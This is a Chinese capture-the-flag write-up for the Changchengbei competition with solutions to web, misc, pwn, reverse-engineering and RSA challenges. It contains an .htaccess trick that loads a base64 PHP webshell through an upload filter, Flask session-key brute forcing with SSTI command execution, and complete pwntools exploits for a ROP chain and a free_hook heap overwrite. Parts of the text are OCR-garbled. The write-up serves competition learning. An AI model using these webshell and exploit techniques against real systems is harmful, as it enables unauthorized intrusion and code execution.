长城杯-水银之蛇
水银之蛇-web1
进题以为sql,但是F12的hint说是要fuzz。所以我就想爆破,然后输入了admin、 1。直接进后台了:
直接进了后台之后,本来以为没啥用,还卡了半个小时,没想到啊,可以头像上传。。
然后自己手测,发现文件名不能带有p。然后文件内容不能带有<?就可以了。
上网搜了<?被过滤咋办,发现用.htaccess后门用php伪协议访问shell.abc就可以了,给上文件内容:
AddType application/x-httpd-php .abcphp_value auto_append_file "php://filter/convert.base64- decode/resource=shell.abc"
shell.abc的内容是一个base64加密的一句话木马,然后我们给上传了:
然后访问uploads/shell.abc,测试过放一点别的代码,直接蚁剑连了:
进入后发现根目录flag为空,说明权限不够。当时写的时候想直接弹shell到服务器的,没想到不出网。 然后就用蚁剑的那个虚拟终端,直接用find看看能不能提权:
。。这题目让我的cat翻滚。没想到tac居然有root权限。 所以直接tac /flag出了。
水银之蛇-web2
拿源码分析:
发现admin里面有一个merge(),那么可以打原型链污染。
然后发现需要伪造identity为admin,是一个flask的session伪造。 但是还是不知道密钥的,然后手搓了一个屎山脚本来进行爆破。
原理是用flask-session-cookie的那个伪造,如果密钥正确可以伪造成功,然后放上session,之后进行密 钥爆破。字典在https://blog.csdn.net/weixin_41790086/article/details/107554397这篇文章里可以找 到。然后附上屎山代码:
import os with open("all.txt","r",encoding='utf-8') as file:for line in file:k=line[1:][:-2]if k.isprintable():if len(k)==7: print(k)os.system(f"python ../flask-session-cookie-manager-master/flask_session_cookie_manager3.py decode -c .eJwNy00KgCAQBtC7zLqFP2BDl4nR- QqJDNQWEd09tw_eS6nVbe3XgUILBY7WzAnMsFv0Vo149i6yNRKMj6ohQRxooqwoPfdnrP1G64PuhlrkxC DRMxf6foKpHfw.Zt0J1g.NRskNcRzisgGWvflgW7nD-ZnPXg -s {k}")
这里还让gpt帮我调整了线程:
import os
from concurrent.futures import ThreadPoolExecutor
def process_line(line): # 去除每行首尾的两个字符
k = line[1:][:-2].strip() # 检查k是否可打印且长度为7
if k.isprintable() and len(k) == 7:
command = f"python ../flask-session-cookie-manager-
master/flask_session_cookie_manager3.py decode -c .eJwNy00KgCAQBtC7zLqFP2BDl4nR- QqJDNQWEd09tw_eS6nVbe3XgUILBY7WzAnMsFv0Vo149i6yNRKMj6ohQRxooqwoPfdnrP1G64PuhlrkxC DRMxf6foKpHfw.Zt0J1g.NRskNcRzisgGWvflgW7nD-ZnPXg -s {k}"
os.system(command) # 打开文件并逐行读取
with open("all.txt", "r", encoding='utf-8') as file: lines = file.readlines() # 先读取所有行到内存中
# 使用ThreadPoolExecutor来并行处理每一行
with ThreadPoolExecutor(max_workers=20) as executor: # 提交每行到线程池中执行
executor.map(process_line, lines)
然后爆破出来发现是a123456这个密钥。
然后伪造为admin之后,发现里面没有什么能用的,再去分析代码,找到唯一一个 render_template_string:
{'csrf_token': '0f42229ac9081518e6233ea378790852673c51ee', 'identity': 'admin', 'username': 'admin',' init ':{' globals ':{'inventory':'{{6*6}}'}}}
那么就是打ssti了。这里直接用merge的特性,将session的后面跟上需要污染的东西, payload:
{'csrf_token': '0f42229ac9081518e6233ea378790852673c51ee', 'identity': 'admin', 'username': 'admin',' init ':{' globals ':{'inventory':'{{6*6}}'}}}
这里传session进admin,然后访问/admin/view_inventory就可以了。每一次都要修改session中的
identity为admin。然后发现回显了36。直接想ssti了,fuzz了一下,发现用字母或者_传入的时候,会返 回500错误。
然后去https://ctftime.org/writeup/22159 这个ctftime的文章找到了无字母ssti的代码,进行了一点的转义和修改,并且重新尝试了一下,发现class可以成功访问
然后去找可利用基类:
发现133有buitins,直接尝试用后面的cat /etc/passwd打
打出来了:
但是flag不在根目录:
直接find一下flag,
__import__('os').popen('find / -name flag*').read()
发现有一个tmp目录下有一个flag文件,那么估计就是这个了,因为前面是md5的啥的,就是随机的,然 后像上题一样尝试tac直接抓:
__import__('os').popen('tac
/tmp/41ad9367f235f684744906a78f622d10/3bc58abc6d5eed96d06ff0e1c465bfb0/d3a55771ba 4471528de9decc55f091b2/flag*').read()
然后就得到了flag。
水银之蛇-misc1
一个web题,进题就是可以F12找前端的flag的小游戏。
然后找了一会,发现有点麻烦,直接开玩! 然后通关送flag(还挺好玩。)
水银之蛇-misc2
下载下来发现是一个流量文件和一个日志文件,打开log日志文件,发现大多数都为404响应,随便复制 一段来给gpt看看是什么,发现状态码404为失败, 200为成功,于是找一下upload关键字且为响应成功 的,在192.168.30.234这里有完整的上传
应该就是这个了,拉去解压,果然成功 进入第二阶段:
打开还是一个流量文件,直接过滤http,发现了很多文件,直接全部提取出来,发现了key和raw文件, 猜测是rc4解密
拉去解密发现出错,观察一下发现前半部分重合,把密文重合部分删去,得到flag:
水银之蛇-misc3
下载得到流量文件,老样子过滤http,追踪一下,发现有rar文件,并发现一个qqqq.php和25ming@疑似密码
直接拖到kali中用binwlak看一下
直接提取rar:
得到rar文件,打开得到flag.txt,发现第一行md5加密后刚好是"f",应该是md5碰撞,每行代表着一个字母,直 接手搓一个脚本爆破:
import hashlib
flag=
["8fa14cdd754f91cc6554c9e71929cce7","2db95e8e1a9267b7a1188556b2013b33","0cc175b9c 0f1b6a831c399e269772661","b2f5ff47436671b6e533d8dc3614845d","f95b70fdc3088560732a 5ac135644506","b9ece18c950afbfa6b0fdbfa4ff731d3","2510c39011c5be704182423e3a695e9 1","e1671797c52e15f763380b45e841ec32","b14a7b8059d9c055954c92674ce60032","6f8f577 15090da2632453988d9a1501b","cfcd208495d565ef66e7dff9f98764da","03c7c0ace395d80182 db07ae2c30f034","e358efa489f58062f10dd7316b65649e","b14a7b8059d9c055954c92674ce60 032","c81e728d9d4c2f636f067f89cc14862c","e1671797c52e15f763380b45e841ec32","4a8a0 8f09d37b73795649038408b5f33","4c614360da93c0a041b22e537de151eb","4b43b0aee35624cd 95b910189b3dc231","e1671797c52e15f763380b45e841ec32","b14a7b8059d9c055954c92674ce 60032","e1671797c52e15f763380b45e841ec32","8d9c307cb7f3c4a32822a51922d1ceaa","4a8 a08f09d37b73795649038408b5f33","4b43b0aee35624cd95b910189b3dc231","57cec4137b614c 87cb4e24a3d003a3e0","83878c91171338902e0fe0fb97a8c47a","e358efa489f58062f10dd7316 b65649e","865c0c0b4ab0e063e5caa3387c1a8741","d95679752134a2d9eb61dbd7b91c4bcc","7 b8b965ad4bca0e41ab51de7b31363a1","9033e0e305f247c0c3c80d0c7848c8b3","9033e0e305f2 47c0c3c80d0c7848c8b3","9033e0e305f247c0c3c80d0c7848c8b3","cbb184dd8e05c9709e5dcae daa0495cf"]
k="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{} !" for i in flag:
for j in k:
md5_hash=hashlib.md5()
md5_hash.update(j.encode('utf-8')) if md5_hash.hexdigest()==i:
print(j,end="") break
得到flag.
水银之蛇-FlowerShop
一开始这个read就有溢出,只不过不是到返回地址,可以覆盖到v8,这个v8变量就是下面shop的钱,所 以直接改它,该一个大数就行,然后就是中间需要注意,有一个栈溢出的检查,会检查dest和c里面是不 是一样的,如果不一样,就会退出,这个c在bss里面,是个pwn字符串,覆盖的时候注意一点就行
然后漏洞都在shop里面
check函数可以改传进去的a2值,这个a2就是下面read的v3,也就是读入长度,只要买两次a ,一次b就 行,就可以拿到一个栈溢出,最后再买一次c ,拿到/bin/sh,直接就能get shell
from pwn import *
context.log_level='debug'
#io=process('./pwn')
io=remote("8.147.134.241",13312) elf=ELF('./pwn')
system=elf.plt['system']
rdi=0x400f13
magic=0x601840 ret=0x4006f6
io.recv()
payload=b'a'*0x34+b'pwn'+b'\x00'+p32(999999999)+b'\x00'
io.sendline(payload)
io.recv()
io.sendline(b'a')
#pay
io.recv()
io.sendline(b'a')
io.recv()
io.sendline(b'a')
io.sendline(str(1)) io.recv()
io.sendline(b'a')
io.sendline(str(1)) io.recv()
io.sendline(b'b')
io.sendline(str(1))
#gdb.attach(io, 'b main')
io.recv()
io.sendline(b'c')
payload=b'a'*0x18+p64(rdi)+p64(magic)+p64(ret)+p64(system) io.sendline(payload)
io.interactive()
水银之蛇-Kylin_Heap
2.31的堆,没什么特别的地方, uaf直接泄露libc,直接打free_hook就行,就是这个libc不太正常,正常 打会段错误,只能找偏移
from pwn import *
context(os='linux', arch='amd64', log_level='debug') io=remote("8.147.134.24",28550)
#io=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.31-0kylin9.2k0.2.so')
def dbg():
gdb.attach(io)
def add(size,content):
io.recvuntil(b'What will you do, adventurer? ') io.sendline(str(1))
io.recvuntil(b'Enter the size of the block you wish to summon (1 to 1280 bytes): ')
io.sendline(str(size))
io.recvuntil(b'bytes):\n') io.sendline(content)
def free(idx):
io.recvuntil(b'What will you do, adventurer? ') io.sendline(str(2))
io.recvuntil(b'index (0-19): ') io.sendline(str(idx))
def edit(idx,content):
io.recvuntil(b'What will you do, adventurer? ') io.sendline(str(3))
io.recvuntil(b'index (0-19): ') io.sendline(str(idx))
io.recvuntil(b'bytes):\n') io.sendline(content)
def show(idx):
io.recvuntil(b'What will you do, adventurer? ') io.sendline(str(4))
io.recvuntil(b'index (0-19): ') io.sendline(str(idx))
add(0x460,b'a'*0x10)#0 add(0x20,b'a'*8)#1
free(0)
show(0)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) free_hook=libc_base+0x2f48
system=libc_base-0x1967d0
add(0x68,b'a') add(0x68,b'a') add(0x68,b'a') add(0x68,b'a') add(0x68,b'a') add(0x68,b'a') add(0x68,b'a') add(0x68,b'a') add(0x68,b'a')
for i in range(9): free(i+1)
edit(9,p64(free_hook-0x10))
for i in range(7):
add(0x68,b'a'*8)
add(0x68,b'/bin/sh\x00') add(0x68,b'/bin/sh\x00') edit(19,p64(system))
free(18)
#dbg()
io.interactive()
水银之蛇-easyre
1.拿到附件,先查壳,没有壳, 64位的
并且运行都不能输入,直接结束了,貌似要传参,唉。直接开始分析吧, ida64打开之后,分析结束,直 接F5,拿到伪代码
没看到啥,就是看到了一个异或,然后就是比对了,但是这里看到有两个数据,点进去查看,
两串数据,但是在这两个数据的下方,看到有一串43位的数据,和前面代码中比对的for循环中的i的限制 是刚好对上的,都是43,那么就可以认为这是密文了,然后分析前面的异或,仔细分析,就是和自身异 或,然后可以写个脚本把下标索引输出看看,
然后就可以写脚本解密了
拿到flag
水银之蛇-RandomRSA
暴力破解next_prime与l.next()之前的差值,并求解方程中的未知数x 。通过使用 LCG(线性 同余生成器)的特性, p 和 q 是两个素数,满足条件的因数分解。
n7 =p Q = (a + k1) (a +b + k2) = a x2 + (b+ k2 + a k1) z + k1 * (b+ k2) moc
通过暴力枚举 k1 和 k2 ,可以求解上述方程,分解n,即可求得 flag。
# cipolla_algorithm.py #!/usr/bin/python python # -*- coding:utf-8 -*-
# @FileName :cipolla_algorithm.py
# @Time :2023/3/30 23:49
# @Copycatted :https://learnblockchain.cn/article/1520
import gmpy2
def square_root_of_quadratic_residue(n, modulo):
"""Square root of quadratic residue
Solve the square root of quadratic residue using Cipolla's algorithm with Legendre symbol
Returns:
int -- if n is a quadratic residue,
return x, such that x^{2} = n (mod modulo) otherwise, return -1
"""
if modulo == 2:
return 1
if n % modulo == 0:
return 0
# Legendre = lambda n: pow(n, modulo - 1 >> 1, modulo)
Legendre = lambda n: gmpy2.powmod(n, modulo - 1 >> 1, modulo)
if Legendre(n) == modulo - 1:
return -1
t = 0
while Legendre(t ** 2 - n) != modulo - 1: t += 1
w = (t ** 2 - n) % modulo
return (generate_quadratic_field(w, modulo)(t, 1) ** (modulo + 1 >> 1)).x
def generate_quadratic_field(d, modulo=0):
"""Generate quadratic field number class
Returns:
class -- quadratic field number class
"""
# assert (isinstance(modulo, int) and modulo >= 0)
class QuadraticFieldNumber:
def init(self, x, y):
self.x = x % modulo
self.y = y % modulo
def mul(self, another):
x = self.x * another.x + d * self.y * another.y
y = self.x * another.y + self.y * another.x
return self.
class(x, y)
def pow(self, exponent):
result = self.
class(1, 0) if exponent:
temporary = self.
class(self.x, self.y) while exponent:
if exponent & 1:
result *= temporary
temporary *= temporary
exponent >>= 1
return result
def str(self):
return '({}, {} \\sqrt({}))'.format(self.x, self.y, d)
return QuadraticFieldNumber
import gmpy2
from gmpy2 import mpz, invert, is_prime
from Crypto.Util.number import *
import concurrent.futures
import tqdm
import os
import cipolla_algorithm
def get_roots(a, b, c, p):
delta = (b * b - 4 * a * c) % p
if gmpy2.jacobi(delta, p) != 1:
return None
sqrt_delta =cipolla_algorithm.square_root_of_quadratic_residue(delta % p, p)
inv_2a = gmpy2.invert(2 * a, p)
return [((-b + sqrt_delta) * inv_2a) % p, ((-b - sqrt_delta) * inv_2a) % p]
results = []
p, a, b =170302223332374952785269454020752010235000449292324018706323228421794605831609342383813680059406887437726391567716617403068082252456126724116360291722050578106527815908837796377811535800753042840119867579793401648981916062128752925574017615120362457848369672169913701701169754804744410516724429370808383640129,95647398016998994323232737206171888899957187357027939982909965407086383339418183844601496450055752805846840966207033179756334909869395071918100649183599056695688702272113280126999439574017728476367307673524762493771576155949866442317616306832252931038932232342396406623324967479959770751756551238647385191314,122891504335833588148026640678812283515533067572514249355105863367413556242876686249628488512479399795117688641973272470884323873621143234628351006002398994272892177228185516130875243250912554684234982558913267007466946601210297176541861279902930860851219732696973412096603548467720104727887907369470758901838
n, c =5593134172275186875590245131682192688778392004699750710462210806902340747682378400226605648011816039948262008066066650657006955703136928662067931212033472838067050429624395919771757949640517085036958623280188133965150285410609475158882527926240531113060812228408346482328419754802280082212250908375099979058307437751229421708615341486221424596128137575042934928922615832987202762651904056934292682021963290271144473446994958975487980146329697970484311863524622696562094720833240915154181032649358743041246023013296745195478603299127094103448698060367648192905729866897074234681844252549934531893172709301411995941527,2185680728108057860427602387168654320024588536620246138642042133525937248576850574716324994222027251548743663286125769988360677327713281974075574656905916643746842819251899233266706138267250441832133068661277187507427787343897863339824140927640373352305007520681800240743854093190786046280731148485148774188448658663250731076739737801267702682463265663725900621375689684459894544169879873344003810307496162858318574830487480360419897453892053456993436452783099460908947258094434884954726862549670168954554640433833484822078996925040310316609425805351183165668893199137911145057639657709936762866208635582348932189646
with concurrent.futures.ThreadPoolExecutor(max_workers=os.cpu_count()) as executor:
futures = []
for k1 in range(0, 1000, 10):
def worker(start, end):
for k1 in range(start, end):
for k2 in range(1000):
b_new = (b + k2 + a * k1) % p
c_new = (k1 * (b + k2) - n) % p
roots = get_roots(a, b_new, c_new, p)
if roots:
for x in roots:
p1 = (x + k1) % p
p2 = (a * x + b + k2) % p
if is_prime(p1) and is_prime(p2) and p1 * p2 == n:
results.append((k1, k2, x))
return
futures.append(executor.submit(worker, k1, min(k1 + 10, 1000)))
for _ in tqdm.tqdm(concurrent.futures.as_completed(futures)): pass
k1, k2, x = results[0]
p1 = x + k1
p2 = (a * x + b + k2) % p
phi = (p1 - 1) * (p2 - 1)
d = invert(65537, phi)
flag = pow(c, d, p1 * p2)
print(long_to_bytes(flag))
# b'flag{j1st e s1mp1e_b3ute}'